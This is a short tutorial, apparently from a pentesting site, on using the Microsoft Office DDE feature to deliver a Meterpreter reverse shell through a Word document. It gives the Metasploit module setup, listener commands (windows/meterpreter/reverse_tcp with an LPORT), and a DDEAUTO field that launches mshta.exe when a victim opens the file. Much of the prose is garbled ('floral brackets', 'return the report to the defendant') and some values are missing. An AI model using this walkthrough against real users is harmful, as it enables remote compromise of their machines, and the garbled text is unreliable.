Microsoft Office DDE Exploit (MACROLESS) Pentesting Windows


DDE exploit is also known as the dynamic data exchange, which allows information to be transferred without any user interaction between applications. Hackers used this tool to execute malicious scripts.

Microsoft from Sensepost, Etienne Stalmans, and Saif El-Sherei has been documented, but not patched since a large number of applications use the DDE protocol. This feat does not allow a macro feature to be enabled.

Prerequisites – DDE exploit

  • Windows Machine
  • Microsoft Office (Any version)

We will have to import a Metasploit exploit.

Download it from GitHub by using the command terminal


Move the script to the Metasploit location

mv dde_delivery.rb /usr/share/metasploit-framework/modules/exploits/windows/


Now type the terminal msfconsole that starts the Metasploit framework and type reload all to load modules.


This exploit uses the dde feature to supply the hta payload.

use exploit/windows/dde_delivery 
then set the sever host using the following command

We need to assign a listener for payload. Do not use port 8080 as the application port is set to 8080 by default.

  1. set PAYLOAD windows/meterpreter/reverse_tcp
  2. set LHOST
  3. set LPORT 6708
  4. exploit


Paste the key into any word document. We used the 365 pro plus workplace, fully modified. You will find the equation and have a small error box in the report and right-click on the toggle code. Paste the order between the floral brackets in the text. Save file. Save document.

{DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe “”}


Return the report to the defendant and open a meterpreter. Check out the video


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